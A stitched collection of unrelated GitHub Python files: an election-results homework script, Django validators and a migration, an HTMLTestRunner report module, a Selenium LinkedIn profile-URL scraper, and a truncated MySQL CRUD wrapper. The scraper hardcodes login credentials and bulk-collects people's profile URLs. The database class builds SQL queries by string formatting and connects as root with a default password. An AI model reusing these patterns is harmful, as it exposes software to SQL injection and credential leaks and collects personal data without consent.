# -*- coding: UTF-8 -*- """PyPoll Homework Challenge Solution.""" # Add our dependencies. import csv import os # Add a variable to load a file from a path. file_to_load = os.path.join("Resources","election_results.csv") # Add a variable to save the file to a path. file_to_save = os.path.join("analysis","election_analysis.txt") # Initialize a total vote counter. total_votes = 0 # Candidate Options and candidate votes. candidate_options = [] candidate_votes = {} # 1: Create a county list and county votes dictionary. # Track the winning candidate, vote count and percentage winning_candidate = "" winning_count = 0 winning_percentage = 0 # 2: Track the largest county and county voter turnout. # Read the csv and convert it into a list of dictionaries with open(file_to_load) as election_data: reader = csv.reader(election_data) # Read the header header = next(reader) # For each row in the CSV file. for row in reader: # Add to the total vote count total_votes = total_votes + 1 # Get the candidate name from each row. candidate_name = row[2] # 3: Extract the county name from each row. # If the candidate does not match any existing candidate add it to # the candidate list if candidate_name not in candidate_options: # Add the candidate name to the candidate list. candidate_options.append(candidate_name) # And begin tracking that candidate's voter count. candidate_votes[candidate_name] = 0 # Add a vote to that candidate's count candidate_votes[candidate_name] += 1 # 4a: Write an if statement that checks that the # county does not match any existing county in the county list. # 4b: Add the existing county to the list of counties. # 4c: Begin tracking the county's vote count. # 5: Add a vote to that county's vote count. # Save the results to our text file. with open(file_to_save, "w") as txt_file: # Print the final vote count (to terminal) election_results = ( f"\nElection Results\n" f"-------------------------\n" f"Total Votes: {total_votes:,}\n" f"-------------------------\n\n" f"County Votes:\n") print(election_results, end="") txt_file.write(election_results) # 6a: Write a for loop to get the county from the county dictionary. # 6b: Retrieve the county vote count. # 6c: Calculate the percentage of votes for the county. # 6d: Print the county results to the terminal. # 6e: Save the county votes to a text file. # 6f: Write an if statement to determine the winning county and get its vote count. # 7: Print the county with the largest turnout to the terminal. # 8: Save the county with the largest turnout to a text file. # Save the final candidate vote count to the text file. for candidate_name in candidate_votes: # Retrieve vote count and percentage votes = candidate_votes.get(candidate_name) vote_percentage = float(votes) / float(total_votes) * 100 candidate_results = ( f"{candidate_name}: {vote_percentage:.1f}% ({votes:,})\n") # Print each candidate's voter count and percentage to the # terminal. print(candidate_results) # Save the candidate results to our text file. txt_file.write(candidate_results) # Determine winning vote count, winning percentage, and candidate. if (votes > winning_count) and (vote_percentage > winning_percentage): winning_count = votes winning_candidate = candidate_name winning_percentage = vote_percentage # Print the winning candidate (to terminal) winning_candidate_summary = ( f"-------------------------\n" f"Winner: {winning_candidate}\n" f"Winning Vote Count: {winning_count:,}\n" f"Winning Percentage: {winning_percentage:.1f}%\n" f"-------------------------\n") print(winning_candidate_summary) # Save the winning candidate's name to the text file txt_file.write(winning_candidate_summary)

[ "sosa.brianna8@gmail.com" ]

sosa.brianna8@gmail.com

7c99fc847d229c37303986261ca215365661c576

f76b6755dedfdcc78ea794ae47cf25006539a70b

/src/restaurants/validators.py

31756343b9e1a23fef28bda8bb05907e5542c897

[]

no_license

ericliu1990/trydjango1-11

22b2542bebce88ab73b49c84b2926b590f97b90c

62fefcbc54f6bb51458c4d52cda77a36de2f6f07

refs/heads/master

2022-10-29T04:36:51.909336

2018-07-08T11:02:49

136,959,340

0

1

null

2022-10-08T21:53:33

2018-06-11T17:31:28

Python

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py

from django.core.exceptions import ValidationError def validate_even(value): if value % 2 != 0: raise ValidationError( '%(value)s is not an even number', params={'value': value}, ) # def clean_email(value): # email = value # if ".edu" in email: # raise forms.ValidationError("We do not accept edu emails") CATEGORIES = ['Mexico', 'western', 'Asian', 'Unknown'] def validate_category(value): cat = value.capitalize() if not value in CATEGORIES and not cat in CATEGORIES: raise ValidationError(f"{value} not a valid category")

[ "liuyuanzhe1990@gmail.com" ]

liuyuanzhe1990@gmail.com

e94744e7b239a81f6c68a4137135d89cf5d8165c

d83892a8df7127154d99bf0e4cc3215f971fef01

/HTMLTestRunner.py

af409dc5b99e2d51b346cb452de2cdc3db682829

[]

no_license

gxq0909/bowentest

ae4436947026380822b3bf8d570b9f2fd2f510fe

1d78612b493e499721634a1f66a700c6d21f838e

refs/heads/master

2023-01-12T13:45:15.203004

2020-11-17T02:27:54

null

0

null

UTF-8

Python

false

26,921

py

#!/usr/bin/python3 # -*- coding: utf-8 -*- # @Time : 2018/11/19 下午3:03 # @Author : 张新礼 # @File : HTMLTestRunner.py # @Software: PyCharm """ A TestRunner for use with the Python unit testing framework. It generates a HTML report to show the result at a glance. The simplest way to use this is to invoke its main method. E.g. import unittest import HTMLTestRunner ... define your tests ... if __name__ == '__main__': HTMLTestRunner.main() For more customization options, instantiates a HTMLTestRunner object. HTMLTestRunner is a counterpart to unittest's TextTestRunner. E.g. # output to a file fp = file('my_report.html', 'wb') runner = HTMLTestRunner.HTMLTestRunner( stream=fp, title='My unit stUDY', description='This demonstrates the report output by HTMLTestRunner.' ) # Use an external stylesheet. # See the Template_mixin class for more customizable options runner.STYLESHEET_TMPL = '<link rel="stylesheet" href="my_stylesheet.css" type="text/css">' # run the stUDY runner.run(my_test_suite) ------------------------------------------------------------------------ Copyright (c) 2004-2007, Wai Yip Tung All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name Wai Yip Tung nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. """ # URL: http://tungwaiyip.info/software/HTMLTestRunner.html __author__ = "Wai Yip Tung, Findyou" __version__ = "0.8.2.2" """ Change History Version 0.8.2.1 -Findyou * 改为支持python3 Version 0.8.2.1 -Findyou * 支持中文，汉化 * 调整样式，美化（需要连入网络，使用的百度的Bootstrap.js） * 增加通过分类显示、测试人员、通过率的展示 * 优化“详细”与“收起”状态的变换 * 增加返回顶部的锚点 Version 0.8.2 * Show output inline instead of popup window (Viorel Lupu). Version in 0.8.1 * Validated XHTML (Wolfgang Borgert). * Added description of stUDY classes and stUDY cases. Version in 0.8.0 * Define Template_mixin class for customization. * Workaround a IE 6 bug that it does not treat <script> block as CDATA. Version in 0.7.1 * Back port to Python 2.3 (Frank Horowitz). * Fix missing scroll bars in detail log (Podi). """ # TODO: color stderr # TODO: simplify javascript using ,ore than 1 class in the class attribute? import datetime import io import sys import time import unittest from xml.sax import saxutils import sys # ------------------------------------------------------------------------ # The redirectors below are used to capture output during testing. Output # sent to sys.stdout and sys.stderr are automatically captured. However # in some cases sys.stdout is already cached before HTMLTestRunner is # invoked (e.g. calling logging.basicConfig). In order to capture those # output, use the redirectors for the cached stream. # # e.g. # >>> logging.basicConfig(stream=HTMLTestRunner.stdout_redirector) # >>> class OutputRedirector(object): """ Wrapper to redirect stdout or stderr """ def __init__(self, fp): self.fp = fp def write(self, s): self.fp.write(s) def writelines(self, lines): self.fp.writelines(lines) def flush(self): self.fp.flush() stdout_redirector = OutputRedirector(sys.stdout) stderr_redirector = OutputRedirector(sys.stderr) # ---------------------------------------------------------------------- # Template class Template_mixin(object): """ Define a HTML template for report customerization and generation. Overall structure of an HTML report HTML +------------------------+ |<html> | | <head> | | | | STYLESHEET | | +----------------+ | | | | | | +----------------+ | | | | </head> | | | | <body> | | | | HEADING | | +----------------+ | | | | | | +----------------+ | | | | REPORT | | +----------------+ | | | | | | +----------------+ | | | | ENDING | | +----------------+ | | | | | | +----------------+ | | | | </body> | |</html> | +------------------------+ """ STATUS = { 0: '通过', 1: '失败', 2: '错误', } DEFAULT_TITLE = '单元测试报告' DEFAULT_DESCRIPTION = '' DEFAULT_TESTER='QAHE' # ------------------------------------------------------------------------ # HTML Template HTML_TMPL = r"""<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>%(title)s</title> <meta name="generator" content="%(generator)s"/> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> <link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet"> <script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js"></script> <script src="http://libs.baidu.com/bootstrap/3.0.3/js/bootstrap.min.js"></script> %(stylesheet)s </head> <body > <script language="javascript" type="text/javascript"> output_list = Array(); /*level 调整增加只显示通过用例的分类 --Findyou 0:Summary //all hiddenRow 1:Failed //pt hiddenRow, ft none 2:Pass //pt none, ft hiddenRow 3:All //pt none, ft none */ function showCase(level) { trs = document.getElementsByTagName("tr"); for (var i = 0; i < trs.length; i++) { tr = trs[i]; id = tr.id; if (id.substr(0,2) == 'ft') { if (level == 2 || level == 0 ) { tr.className = 'hiddenRow'; } else { tr.className = ''; } } if (id.substr(0,2) == 'pt') { if (level < 2) { tr.className = 'hiddenRow'; } else { tr.className = ''; } } } //加入【详细】切换文字变化 --Findyou detail_class=document.getElementsByClassName('detail'); //console.log(detail_class.length) if (level == 3) { for (var i = 0; i < detail_class.length; i++){ detail_class[i].innerHTML="收起" } } else{ for (var i = 0; i < detail_class.length; i++){ detail_class[i].innerHTML="详细" } } } function showClassDetail(cid, count) { var id_list = Array(count); var toHide = 1; for (var i = 0; i < count; i++) { //ID修改点为下划线 -Findyou tid0 = 't' + cid.substr(1) + '_' + (i+1); tid = 'f' + tid0; tr = document.getElementById(tid); if (!tr) { tid = 'p' + tid0; tr = document.getElementById(tid); } id_list[i] = tid; if (tr.className) { toHide = 0; } } for (var i = 0; i < count; i++) { tid = id_list[i]; //修改点击无法收起的BUG，加入【详细】切换文字变化 --Findyou if (toHide) { document.getElementById(tid).className = 'hiddenRow'; document.getElementById(cid).innerText = "详细" } else { document.getElementById(tid).className = ''; document.getElementById(cid).innerText = "收起" } } } function html_escape(s) { s = s.replace(/&/g,'&'); s = s.replace(/</g,'<'); s = s.replace(/>/g,'>'); return s; } </script> %(heading)s %(report)s %(ending)s </body> </html> """ # variables: (title, generator, stylesheet, heading, report, ending) # ------------------------------------------------------------------------ # Stylesheet # # alternatively use a <link> for external style sheet, e.g. # <link rel="stylesheet" href="$url" type="text/css"> STYLESHEET_TMPL = """ <style type="text/css" media="screen"> body { font-family: Microsoft YaHei,Tahoma,arial,helvetica,sans-serif;padding: 30px; font-size: 10px; } table { font-size: 30px; } /* -- heading ---------------------------------------------------------------------- */ .heading { margin-top: 0ex; margin-bottom: 1ex; } .heading .description { margin-top: 4ex; margin-bottom: 6ex; } /* -- report ------------------------------------------------------------------------ */ #total_row { font-weight: bold; } .passCase { color: #5cb85c; } .failCase { color: #d9534f; font-weight: bold; } .errorCase { color: #f0ad4e; font-weight: bold; } .hiddenRow { display: none; } .testcase { margin-left: 2em; } </style> """ # ------------------------------------------------------------------------ # Heading # HEADING_TMPL = """<div class='heading'> <h1 style="font-family: Microsoft YaHei">%(title)s</h1> %(parameters)s <p class='description'>%(description)s</p> </div> """ # variables: (title, parameters, description) HEADING_ATTRIBUTE_TMPL = """<p class='attribute'><strong>%(name)s : </strong> %(value)s</p> """ # variables: (name, value) # ------------------------------------------------------------------------ # Report # # 汉化,加美化效果 --Findyou REPORT_TMPL = """ <p id='show_detail_line'> <a class="btn btn-primary" href='javascript:showCase(0)'>概要{ %(passrate)s }</a> <a class="btn btn-danger" href='javascript:showCase(1)'>失败{ %(fail)s }</a> <a class="btn btn-success" href='javascript:showCase(2)'>通过{ %(Pass)s }</a> <a class="btn btn-info" href='javascript:showCase(3)'>所有{ %(count)s }</a> </p> <table id='result_table' class="table table-condensed table-bordered table-hover"> <colgroup> <col align='left' /> <col align='right' /> <col align='right' /> <col align='right' /> <col align='right' /> <col align='right' /> </colgroup> <tr id='header_row' class="text-center success" style="font-weight: bold;font-size: 14px;"> <td>用例集/测试用例</td> <td>总计</td> <td>通过</td> <td>失败</td> <td>错误</td> <td>详细</td> </tr> %(test_list)s <tr id='total_row' class="text-center active"> <td>总计</td> <td>%(count)s</td> <td>%(Pass)s</td> <td>%(fail)s</td> <td>%(error)s</td> <td>通过率：%(passrate)s</td> </tr> </table> """ # variables: (test_list, count, Pass, fail, error ,passrate) REPORT_CLASS_TMPL = r""" <tr class='%(style)s warning'> <td>%(desc)s</td> <td class="text-center">%(count)s</td> <td class="text-center">%(Pass)s</td> <td class="text-center">%(fail)s</td> <td class="text-center">%(error)s</td> <td class="text-center"><a href="javascript:showClassDetail('%(cid)s',%(count)s)" class="detail" id='%(cid)s'>详细</a></td> </tr> """ # variables: (style, desc, count, Pass, fail, error, cid) #失败的样式，去掉原来JS效果，美化展示效果 -Findyou REPORT_TEST_WITH_OUTPUT_TMPL = r""" <tr id='%(tid)s' class='%(Class)s'> <td class='%(style)s'><div class='testcase'>%(desc)s</div></td> <td colspan='5' align='center'>   <button id='btn_%(tid)s' type="button" class="btn btn-danger btn-xs" data-toggle="collapse" data-target='#div_%(tid)s'>%(status)s</button> <div id='div_%(tid)s' class="collapse in"> <pre> %(script)s </pre> </div> </td> </tr> """ # variables: (tid, Class, style, desc, status) # 通过的样式，加标签效果 -Findyou REPORT_TEST_NO_OUTPUT_TMPL = r""" <tr id='%(tid)s' class='%(Class)s'> <td class='%(style)s'><div class='testcase'>%(desc)s</div></td> <td colspan='5' align='center'><span class="label label-success success">%(status)s</span></td> </tr> """ # variables: (tid, Class, style, desc, status) REPORT_TEST_OUTPUT_TMPL = r""" %(id)s: %(output)s <img %(hidde)s src="%(image)s" alt="picture_shot" height="480" width="800"></img> <a %(hidde)s href="%(image)s">picture_shot</a> """ # variables: (id, output) # ------------------------------------------------------------------------ # ENDING # # 增加返回顶部按钮 --Findyou ENDING_TMPL = """<div id='ending'> </div> <div style=" position:fixed;right:50px; bottom:30px; width:20px; height:20px;cursor:pointer"> <a href="#"><span class="glyphicon glyphicon-eject" style = "font-size:30px;" aria-hidden="true"> </span></a></div> """ # -------------------- The end of the Template class ------------------- TestResult = unittest.TestResult class _TestResult(TestResult): # note: _TestResult is a pure representation of results. # It lacks the output and reporting ability compares to unittest._TextTestResult. def __init__(self, verbosity=1): TestResult.__init__(self) self.stdout0 = None self.stderr0 = None self.success_count = 0 self.failure_count = 0 self.error_count = 0 self.verbosity = verbosity # result is a list of result in 4 tuple # ( # result code (0: success; 1: fail; 2: error), # TestCase object, # Test output (byte string), # stack trace, # ) self.result = [] #增加一个测试通过率 --Findyou self.passrate=float(0) def startTest(self, test): TestResult.startTest(self, test) # just one buffer for both stdout and stderr self.outputBuffer = io.StringIO() stdout_redirector.fp = self.outputBuffer stderr_redirector.fp = self.outputBuffer self.stdout0 = sys.stdout self.stderr0 = sys.stderr sys.stdout = stdout_redirector sys.stderr = stderr_redirector def complete_output(self): """ Disconnect output redirection and return buffer. Safe to call multiple times. """ if self.stdout0: sys.stdout = self.stdout0 sys.stderr = self.stderr0 self.stdout0 = None self.stderr0 = None return self.outputBuffer.getvalue() def stopTest(self, test): # Usually one of addSuccess, addError or addFailure would have been called. # But there are some path in unittest that would bypass this. # We must disconnect stdout in stopTest(), which is guaranteed to be called. self.complete_output() def addSuccess(self, test): self.success_count += 1 TestResult.addSuccess(self, test) output = self.complete_output() self.result.append((0, test, output, '')) if self.verbosity > 1: sys.stderr.write('ok ') sys.stderr.write(str(test)) sys.stderr.write('\n') else: sys.stderr.write('.') def addError(self, test, err): self.error_count += 1 TestResult.addError(self, test, err) _, _exc_str = self.errors[-1] output = self.complete_output() self.result.append((2, test, output, _exc_str)) if self.verbosity > 1: sys.stderr.write('E ') sys.stderr.write(str(test)) sys.stderr.write('\n') else: sys.stderr.write('E') def addFailure(self, test, err): self.failure_count += 1 TestResult.addFailure(self, test, err) _, _exc_str = self.failures[-1] output = self.complete_output() self.result.append((1, test, output, _exc_str)) if self.verbosity > 1: sys.stderr.write('F ') sys.stderr.write(str(test)) sys.stderr.write('\n') else: sys.stderr.write('F') class HTMLTestRunner(Template_mixin): """ """ def __init__(self, stream=sys.stdout, verbosity=1,title=None,description=None,tester=None): self.stream = stream self.verbosity = verbosity if title is None: self.title = self.DEFAULT_TITLE else: self.title = title if description is None: self.description = self.DEFAULT_DESCRIPTION else: self.description = description if tester is None: self.tester = self.DEFAULT_TESTER else: self.tester = tester self.startTime = datetime.datetime.now() def run(self, test): "Run the given stUDY case or stUDY suite." result = _TestResult(self.verbosity) test(result) self.stopTime = datetime.datetime.now() self.generateReport(test, result) print('\nTime Elapsed: %s' % (self.stopTime-self.startTime), file=sys.stderr) return result def sortResult(self, result_list): # unittest does not seems to run in any particular order. # Here at least we want to group them together by class. rmap = {} classes = [] for n,t,o,e in result_list: cls = t.__class__ if cls not in rmap: rmap[cls] = [] classes.append(cls) rmap[cls].append((n,t,o,e)) r = [(cls, rmap[cls]) for cls in classes] return r #替换测试结果status为通过率 --Findyou def getReportAttributes(self, result): """ Return report attributes as a list of (name, value). Override this to add custom attributes. """ startTime = str(self.startTime)[:19] duration = str(self.stopTime - self.startTime) status = [] status.append('共 %s' % (result.success_count + result.failure_count + result.error_count)) if result.success_count: status.append('通过 %s' % result.success_count) if result.failure_count: status.append('失败 %s' % result.failure_count) if result.error_count: status.append('错误 %s' % result.error_count ) if status: status = '，'.join(status) self.passrate = str("%.2f%%" % (float(result.success_count) / float(result.success_count + result.failure_count + result.error_count) * 100)) else: status = 'none' return [ ('测试人员', self.tester), ('开始时间',startTime), ('合计耗时',duration), ('测试结果',status + "，通过率= "+self.passrate), ] def generateReport(self, test, result): report_attrs = self.getReportAttributes(result) generator = 'HTMLTestRunner %s' % __version__ stylesheet = self._generate_stylesheet() heading = self._generate_heading(report_attrs) report = self._generate_report(result) ending = self._generate_ending() output = self.HTML_TMPL % dict( title = saxutils.escape(self.title), generator = generator, stylesheet = stylesheet, heading = heading, report = report, ending = ending, ) self.stream.write(output.encode('utf8')) def _generate_stylesheet(self): return self.STYLESHEET_TMPL #增加Tester显示 -Findyou def _generate_heading(self, report_attrs): a_lines = [] for name, value in report_attrs: line = self.HEADING_ATTRIBUTE_TMPL % dict( name = saxutils.escape(name), value = saxutils.escape(value), ) a_lines.append(line) heading = self.HEADING_TMPL % dict( title = saxutils.escape(self.title), parameters = ''.join(a_lines), description = saxutils.escape(self.description), tester= saxutils.escape(self.tester), ) return heading #生成报告 --Findyou添加注释 def _generate_report(self, result): rows = [] sortedResult = self.sortResult(result.result) for cid, (cls, cls_results) in enumerate(sortedResult): # subtotal for a class np = nf = ne = 0 for n,t,o,e in cls_results: if n == 0: np += 1 elif n == 1: nf += 1 else: ne += 1 # format class description if cls.__module__ == "__main__": name = cls.__name__ else: name = "%s.%s" % (cls.__module__, cls.__name__) doc = cls.__doc__ and cls.__doc__.split("\n")[0] or "" desc = doc and '%s: %s' % (name, doc) or name row = self.REPORT_CLASS_TMPL % dict( style = ne > 0 and 'errorClass' or nf > 0 and 'failClass' or 'passClass', desc = desc, count = np+nf+ne, Pass = np, fail = nf, error = ne, cid = 'c%s' % (cid+1), ) rows.append(row) for tid, (n,t,o,e) in enumerate(cls_results): self._generate_report_test(rows, cid, tid, n, t, o, e) report = self.REPORT_TMPL % dict( test_list = ''.join(rows), count = str(result.success_count+result.failure_count+result.error_count), Pass = str(result.success_count), fail = str(result.failure_count), error = str(result.error_count), passrate =self.passrate, ) return report def _generate_report_test(self, rows, cid, tid, n, t, o, e): #o print的内容 #e 抛出的异常信息 #t 具体的测试用例情况 # e.g. 'pt1.1', 'ft1.1', etc has_output = bool(o or e) #当有print输入或者有异常抛出时都采用REPORT_TEST_WITH_OUTPUT_TMPL #has_output = bool(o and e) # ID修改点为下划线,支持Bootstrap折叠展开特效 - Findyou tid = (n == 0 and 'p' or 'f') + 't%s_%s' % (cid+1,tid+1) #tid = '%s_%s' % (cid+1,tid+1) name = t.id().split('.')[-1] doc = t.shortDescription() or "" desc = doc and ('%s: %s' % (name, doc)) or name tmpl = has_output and self.REPORT_TEST_WITH_OUTPUT_TMPL or self.REPORT_TEST_NO_OUTPUT_TMPL # utf-8 支持中文 - Findyou # o and e should be byte string because they are collected from stdout and stderr? if isinstance(o, str): # TODO: some problem with 'string_escape': it escape \n and mess up formating # uo = unicode(o.encode('string_escape')) # uo = o.decode('latin-1') uo = o else: uo = o if isinstance(e, str): # TODO: some problem with 'string_escape': it escape \n and mess up formating # ue = unicode(e.encode('string_escape')) # ue = e.decode('latin-1') ue = e else: ue = e # 插入图片 unum = str(uo).find('screenshots') if (uo and unum != -1): hidde_status = '' #image_url = 'file:///'+uo image_url = '../report/screenshots/' + str(uo)[unum + 11:unum + 36].replace(' ', '') else: hidde_status = '''hidden="hidden"''' image_url = '' script = self.REPORT_TEST_OUTPUT_TMPL % dict( id = tid[2:], #output = saxutils.escape(uo+ue), output = saxutils.escape(ue), hidde=hidde_status, image=image_url, ) row = tmpl % dict( tid = tid, Class = (n == 0 and 'hiddenRow' or 'none'), style = n == 2 and 'errorCase' or (n == 1 and 'failCase' or 'passCase'), desc = desc, script = script, hidde = hidde_status, image = image_url, status = self.STATUS[n], ) rows.append(row) if not has_output: return def _generate_ending(self): return self.ENDING_TMPL ############################################################################## # Facilities for running tests from the command line ############################################################################## # Note: Reuse unittest.TestProgram to launch stUDY. In the future we may # build our own launcher to support more specific command line # parameters like stUDY title, CSS, etc. class TestProgram(unittest.TestProgram): """ A variation of the unittest.TestProgram. Please refer to the base class for command line parameters. """ def runTests(self): # Pick HTMLTestRunner as the default stUDY runner. # base class's testRunner parameter is not useful because it means # we have to instantiate HTMLTestRunner before we know self.verbosity. if self.testRunner is None: self.testRunner = HTMLTestRunner(verbosity=self.verbosity) unittest.TestProgram.runTests(self) main = TestProgram ############################################################################## # Executing this module from the command line ############################################################################## if __name__ == "__main__": main(module=None)

[ "1259917952@qq.com" ]

1259917952@qq.com

551ee0b90811398f10ba839d1ac6c9fe209d7abd

98f569d829cc8389f123f7c0673f9d20080dd090

/linkedintest/profileURLScraper.py

dc496d692efd7971f143379cf86430c9df2d4e36

[ "MIT", "Apache-2.0" ]

permissive

1kyte/Linkedin-Analysis

be491aef889ccfb0d5b1ad660172c579e4f842ff

091e0bcd5a7394cbc5e4bfa90d9cae529032ada6

refs/heads/master

2021-09-26T10:00:42.048185

2018-10-28T22:13:40

143,820,287

1

0

null

UTF-8

Python

false

3,626

py

import re, time, json,csv from selenium import webdriver from selenium.common.exceptions import NoSuchElementException from selenium.common.exceptions import WebDriverException from bs4 import BeautifulSoup import csv urlLists = [] got = [] length = 0 page = 2 def opendrive(): global got,length try: driver = webdriver.Firefox(executable_path = '/Users/PaulaZ/Downloads/geckodriver') driver.get("https://www.linkedin.com/?trk=brandpage_baidu_pc-mainlink") driver.find_element_by_id('login-email').send_keys("analysisZ@outlook.com") driver.find_element_by_id('login-password').send_keys("pa$$w0rd") driver.find_element_by_xpath('//*[@id="login-submit"]').click() url = 'https://www.linkedin.com/in/lucinda-dalla-riva-65371685/' getToThePage(driver, url) got.append(url) length+=1 for u in urlLists: for us in u: getToThePage(driver, us[0]) except (NoSuchElementException,WebDriverException), message: print message finally: driver.close() def checkLocation(obs): try: locationTag = obs.find_all('h3',{'class':'pv-top-card-section__location t-16 t-black--light t-normal mt1 inline-block'}) if not locationTag ==[]: for l in locationTag: l1 = re.findall(r'\n\s*.*\n',str(l)) l2 = str(l1[0]).strip().strip('\\n\s') print l2 if 'Australia' in l2 or 'au' in l2 or 'AU' in l2 or 'Melbourne' in l2 or 'VIC' in l2 or 'Victoria' in l2 or 'victoria' in l2: return True else: return False else: return True except (NoSuchElementException,WebDriverException), message: print message def getToThePage(driver,url): try: global urlLists,got,length,page driver.get(url) scrollDown(driver) obs = BeautifulSoup(driver.page_source,'lxml') urlList = obs.find_all('a',{'class':'pv-browsemap-section__member ember-view'}) if not urlList == []: urls=[] for u in urlList: u1 = re.findall(r'href=.*/\"',str(u)) u2 = str(u1[0]).lstrip('href=\"') u3 = str(u2).rstrip('\"') u4 = 'https://www.linkedin.com'+u3 inAus = checkLocation(obs) if not u4 in got and inAus: urls.append([u4]) got.append(u4) print u4 length+=len(urls) print length if length>500: page+=1 length=0 with open("collectionBox/theUrl"+str(page)+".csv", "a") as csvfile: writer = csv.writer(csvfile) writer.writerows(urls) csvfile.close() urlLists.append(urls) except (NoSuchElementException,WebDriverException), message: print message def scrollDown(driver): driver.execute_script("window.scrollTo(0,500);") time.sleep(3) driver.execute_script("window.scrollTo(500,1000);") time.sleep(3) driver.execute_script("window.scrollTo(1000,1500);") time.sleep(3) driver.execute_script("window.scrollTo(1500,2000);") time.sleep(3) # ====================================================================================================================== # Start the system # ====================================================================================================================== if __name__ == "__main__": opendrive()

[ "paula555@outlook.com" ]

paula555@outlook.com

e18b85bf87a5b4bf43d8dd5767ab31b021f0aeb5

10cc60ed8a2f65de1ce0bb54afe6ea66c15596f0

/crops/migrations/0003_auto_20150810_2312.py

69893feef074438bd27e3097536f58e6f2fa28b1

[]

no_license

sammyteahan/sfg-server

896340e058fb2a6422079bb47ffa552593d2df3d

b655bdfe26197227f9576ed825b65ef05f7ebe4e

refs/heads/master

2020-04-05T22:57:02.015493

2017-04-09T18:57:20

40,629,302

1

0

null

UTF-8

Python

false

478

py

# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ('crops', '0002_auto_20150809_0304'), ] operations = [ migrations.AlterField( model_name='crop', name='tier', field=models.CharField(default=b'1', max_length=255, choices=[(b'1', b'Tier 1'), (b'2', b'Tier 2'), (b'3', b'Tier 3')]), ), ]

[ "sam.teahan@aggiemail.usu.edu" ]

sam.teahan@aggiemail.usu.edu

e5fc5f00fd14a45cd84e931f7688de9dc9f1f1d1

e23a4f57ce5474d468258e5e63b9e23fb6011188

/115_testing/examples/Github/_Level_2/unittest-master/python/csv_db.py

786e3e036143a86b8c363cf013bd10f92db6061b

[]

no_license

syurskyi/Python_Topics

52851ecce000cb751a3b986408efe32f0b4c0835

be331826b490b73f0a176e6abed86ef68ff2dd2b

refs/heads/master

2023-06-08T19:29:16.214395

2023-05-29T17:09:11

220,583,118

3

2

null

2023-02-16T03:08:10

2019-11-09T02:58:47

Python

UTF-8

Python

false

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py

# finalproject.py # @author: Shubham Sachdeva # @email: # @date: 18-13-09 # reads data from input.csv # For simplicity reads only ['GEO'], ['DGUID'], ['Food categories'], ['Commodity'] fields # class Product - a class defining a record # def read_csv - function that reads data from given file import csv import _mysql import bisect CONST_AUTHOR = "Shubham Sachdeva" # Uses mysql database connection. # Class Database simply wraps basic CRUD operations. # @author: Shubham Sachdeva class Database: # Establishing a mysql connection def __init__(self): self.db = _mysql.connect("localhost", "root", "root", "student") self._tablename = "" # insert a record def create(self, product): query = ("INSERT INTO %s (geo, guid, category, commodity) VALUES('%s', '%s', '%s', '%s')" % (self._tablename, product.geo, product.guid, product.category, product.commodity)) self.db.query(query) # update a record based on id def update(self, id, product): query = ("UPDATE %s SET geo='%s', guid='%s', category='%s', commodity='%s' WHERE id=%d" % (self._tablename, product.geo, product.guid, product.category, product.commodity, product.id)) self.db.query(query) # get a record based on id def read(self, id): query = "SELECT * FROM %s WHERE id=%d" % (self._tablename, id) self.db.query(query) r = self.db.store_result() product = Product() for i in r.fetch_row(maxrows=1): product.id = int(i[0]) product.geo = i[1] product.guid = i[2] product.category = i[3] product.commodity = i[4] return product # delete a record based on id def delete(self, id): self.db.query("""DELETE FROM %s WHERE id=%d""" % (self._tablename, id)) # create table if it doesn't exist def select_table(self, tablename): self.db.query( "CREATE TABLE IF NOT EXISTS " + tablename + " (`id` INT NOT NULL AUTO_INCREMENT , " "`geo` VARCHAR(30) NOT NULL , " "`guid` VARCHAR(30) NOT NULL , " "`category` VARCHAR(100) NOT NULL , " "`commodity` VARCHAR(100) NOT NULL , " "PRIMARY KEY (`id`)) ENGINE = InnoDB;") self._tablename = tablename # custom sort function # sort by guid # @author: Shubham Sachdeva def cmpFn(obj): return obj.guid # Class List - Custom list using standard list API library. # Member function find and reverse_find returns index of given element. # While find returns leftmost position, reverse_find returns rightmost position. # This assumes that the list is sorted. # @author: Shubham Sachdeva class List: def __init__(self): self.lst = [] self.lstguid = [] def append(self, obj): self.lst.append(obj) def sort(self): self.lst = sorted(self.lst, key=cmpFn) self.lstguid = [obj.guid for obj in self.lst ] def find(self, guid): return bisect.bisect_left(self.lstguid, guid) def reverse_find(self, guid): return bisect.bisect_right(self.lstguid, guid) # list iterator # ListIterator simply operates on a list of primitive types. # @author: Shubham Sachdeva class ListIterator: def __init__(self, lst): self.lst = lst self.cur = 0 def get(self): if self.cur >=0 and self.cur < len(self.lst): return self.lst[self.cur] else: return None def next(self): if self.cur < len(self.lst) -1: self.cur += 1 return True else: return False def prev(self): if self.cur > 0: self.cur -= 1 return True else: return False def info(self): return str(self.get()) # inherited from ListIterator # Member function info has been overriden. # 